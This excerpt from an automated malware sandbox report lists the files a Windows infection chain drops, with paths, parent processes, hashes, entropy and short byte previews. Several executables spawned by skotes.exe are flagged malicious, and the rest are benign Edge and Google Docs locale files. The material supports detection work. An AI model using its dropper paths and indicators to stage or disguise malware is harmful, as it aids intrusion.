Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8..k..k..k.'k..k..k..k.&k..k...k..k...k..k...j..k..k..k.#k..k..k..kRich..k........................PE..L...O./g....................."........j...........@...........................j...........@.................................M.$.a.....$.......................$..................................................................................... . ..$......b..................@....rsrc.........$......r..............@....idata ......$......t..............@... .`+...$......v..............@...etqepvsz.`... P..\...x..............@...trlogbdm......j.....................@....taggant.0....j.."..................@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1007106001\1e1f95e037.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	921600
Entropy (8bit):	6.59008374151712
Encrypted:	false
SSDEEP:	12288:pqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDgarTs:pqDEvCTbMWu7rQYlBQcBiT6rprG8avs
MD5:	B651212B079AAAE7A41A35932178135F
SHA1:	1AAB44C321FB93BFDC8C46D2E51A5354BB8D2E08
SHA-256:	E4141CC09EB998A186001BE4FC7FECBA5E718476E6540AD9046CB99FE64FDDAC
SHA-512:	C75C57CBF0F9CC9103514938EF07B7D79AEEBE3509CC6F0ADDEC868F1993423102098B15993BEE1741DF71DCF48D142B2CE7501106D4E1F7101D00006541B10A
Malicious:	true
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L... .:g.........."..........`......w.............@..........................p............@...@.......@.....................d...\|....@...........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc........@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1007107001\2438692dfe.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	81920
Entropy (8bit):	6.434115746896081
Encrypted:	false
SSDEEP:	1536:05rRjBSpY2I5ADS35Nc3Kzd4HtGmf4f5onjO2Yj/1rglOt:05rRjBSpY55c6zd4HD4f5onyRr
MD5:	53D8F627CEF3477257DAFF032FBBD212
SHA1:	BF61DEA0DC12648FBEF5E30A0237552ABF81AB47
SHA-256:	EE6DC154CDA66A11E88224CB2DA1A6CBF415D55C06DAAC23AB2E752A9D99F845
SHA-512:	48FAF4EA09CAD004A0E9931E295E156A6A81520C89114C22AF12CB26BD93CCE35C44559480C44083F34AF7661974AB11B7C89D35E46EB68634EEFE19E115CEB9
Malicious:	true
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$.............. ...`....@.. ..................................`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...ybkcjpak..).......)..:..............@...joqtqtqu. ...`.......).............@....taggant.@....*.."....).............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2c068073-7852-4c3c-9e10-2d00e5fe1168.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1502964
Entropy (8bit):	7.991168583334924
Encrypted:	true
SSDEEP:	24576:hPp3p/Gd1uvfIH8qqDrx5sgBFvsCf5kTEwkpRHtpBnGKWFf3LNayxGx4aSfbIiIs:f5/c1gf/qUrx5Zb0CfclURRnI97cyMQ7
MD5:	C408AA64B255067DED99FC62840A7A67
SHA1:	07EF79B73C3BFD9AF9CE812EDC4F5AE040D5F410
SHA-256:	954C8FF1664233ECB41F1CBFFD032B57C4DDBA63A72A131E87AE47B606AC6DA0
SHA-512:	FE88C9B084BCC158312001976285FCA6C77401D8262F0868A5AAA973100053C707145410718C3D569958C6DC06416903E3766AE84337C6E4C5814504C7377DE9
Malicious:	false
Preview:	.PNG........IHDR...2...2......?......gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....eXIfMM..............................J...........R.(...........i.........Z.......H.......H.............................2...........2...........pHYs................YiTXtXML:com.adobe.xmp.....<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:tiff="http://ns.adobe.com/tiff/1.0/">. <tiff:Orientation>1</tiff:Orientation>. </rdf:Description>. </rdf:RDF>.</x:xmpmeta>..^......IDATh..Z.t\.y.f.fF.b$.....2.%.0`...qR..&.J..4...a+1.p....z ...J....p @h....W..E.b-3...w.<i$.b..........+.S.Ip....\n...7..#........m.......s....3~..D.nn.,.y.Q..@eA5f.7`F.L.e.#3#.nX..D.n...n.U.e.g.\H...>IW.s.s..!.D.r[.K.....-k.r..x...@.(..<O6<n.D..r.TmD.$c.'z..A....../..?@]Y.....2...d....J...+.t=.l.}.!.RH.I..H`..xo..X..)...e.. c..n#..d...p..Bz.....(.$....4E:.L.

C:\Users\user\AppData\Local\Temp\6bb481ed-bf37-4f89-a896-b72ab8bfc727.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 135363
Category:	dropped
Size (bytes):	76326
Entropy (8bit):	7.9961120748813075
Encrypted:	true
SSDEEP:	1536:hS5Vvm808scZeEzFrSpzBUl4MZIGM/iysAGz8vBBrYunau6wp:GdS8scZNzFrMa4M+lKqeu/nr
MD5:	01E352D35675990A139199DD86B38AAC
SHA1:	E16163C81E5F36B3B819AA0A63BFA63D88548A91
SHA-256:	148CDE42D38C62C1A1E8B8D3D4BD8830F0F8C2DC684E3C59B0A510E31011CA4A
SHA-512:	75A58FFAD6E3E0546268CC863AE382B5429795D8BCED64BAE2D06BCEEB6C2E37BD656A3E335EB61B521888B76913F2D0281F8C9C081FF8637307AE5934D98C8B
Malicious:	false
Preview:	...........m{..(.}...7.\...N.D.w..m..q....%XfL.I.ql..;/.....s...E...0....`..A..[o^.^Y...F_.'..."L...^.......Y..W..l...E0..YY...:.&.u?....J..U<.q."...p.ib:.g..^.q.mr.....^&.{.E.....,EAp.q.......=.=.....z^.,d.^..J.R..zI4..2b?.-D5/.^...+.G..Y..?5..k........i.,.T#........_DV....P..d2......b\..L....o....Z.}../....CU.$.-..D9`..~......=....._.2O..?....b.{...7IY.L..q....K....T..5m.d.s.4.^... ..~<..7~6OS..b...^>.......s..n....k."..G.....L...z.U...... ... .ZY...,...kU1..N...(..V.r\$..s...X.It...x.mr..W....g........9DQR....*d......;L.S.....G... .._D.{.=.zI.g.Y~...`T..p.yO..4......8$..v.J..I.%..._.d.[..du5._._...?\..8.c.....U...fy.t....q.t....T@.......:zu..\,.!.I..AN_.....FeX..h.c.i.W.......(.....Y..F...R%.\..@.. 2(e,&.76..F+...l.t.$..`...........Wi.{.U.&(.b}...}.i..,...k....!..%...&.c..D-."..SQ.......q9....)j....7.".N....AX...).d./giR....uk.....s.....^...........:...~......(hP..K.@.&..?.E0:+D\|9...U.q.cu..)t{.e...X...{.....z......LL&I6.=.

C:\Users\user\AppData\Local\Temp\a8cb4cff-cded-44b7-8c4e-7cd30eab222a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\DocumentsIDGIJEGHDA.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1921024
Entropy (8bit):	7.947511529541578
Encrypted:	false
SSDEEP:	49152:3e5Ebzx7M3UNnCaj92gkM51o8yxW1GgHfW/EG/pG:u5EbO3UNnCk9Dhhr1GMgrp
MD5:	0E21EAF5F28B78B503C0C0C7BE26AD44
SHA1:	F2B76BC2A40747DE4FDFF439900CCAC3D0F93BC7
SHA-256:	CD4CFD58607B5BF73785BC935A34D8AE19CFFED6CEDDC43142AA986809B3BE30
SHA-512:	CB5C26222F71FDDAAB65C606C55318DFECE1BDF77BC9726354D4E78D0A868100DA8068B40362C45C82F41CC97214F371ACF896B7746BE81C3150AB6C4FFE6390
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................0L...........@..........................`L.....Qu....@.................................W...k.......H...................,.L...............................L..................................................... . ............................@....rsrc...H...........................@....idata ............................@... .0+.........................@...cpijmpsi.@....1..2..................@...lipnutuu..... L......(..............@....taggant.0...0L.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\b51393db-a5cb-4181-8075-939229d99149.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\bdd6f71f-ce61-4c63-ae87-e18b3c896fba.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1420
Entropy (8bit):	5.406528199222555
Encrypted:	false
SSDEEP:	24:YK0bl5r75riCe0qW+5Ua02EHP5IKL0jZ5JwbX/B+L0FRy5giFmMw0L0FiFmM55M:YK0bl5r75riN0qW+5Ua02sP5IKL0jZ5g
MD5:	187F751D60FDFEF5950B189DA524C84E
SHA1:	2B240293EEAF373FA3E25EE5D5DA86864209A9AA
SHA-256:	DACD44B902EF812F4F3A475B1BC21DDB934DD9392B3FA1C43EAB6F3EC8B351D4
SHA-512:	864C89CE49A25524FF4DD4EED1CFFE27E567B8FBEC3F7D56CC233D1BDC214B07216240E6C4EC2EE1DF7F98B0B40604F58C234321C42CCB03473016CE444D6336
Malicious:	false
Preview:	{"logTime": "1005/074019", "correlationVector":"Jzai6BfByv5amZ45/NBe5r","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/074027", "correlationVector":"eO8FwRQNRwFtIUhPNa0yBN","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/074027", "correlationVector":"DFCC0B139A2547CAA3433B33892C7FE6","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/075031", "correlationVector":"bWXPYvVSVVANvrGBV6dHxn","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/075032", "correlationVector":"4CD8E3A1D096444AAB77DA6A690C4356","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/075123", "correlationVector":"t3DmiSvoNTibe+/mLDIMfl","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/075124", "correlationVector":"B2B504519464422FA5C6E610072CF270","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/075313", "correlationVector":"/q9eTq3f/ZawbQrLDVWKju","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/075314", "correlationVector":"138D0C7D

C:\Users\user\AppData\Local\Temp\d821677b-f6ef-40fa-8cbc-aa24772c8138.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_1781357332\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
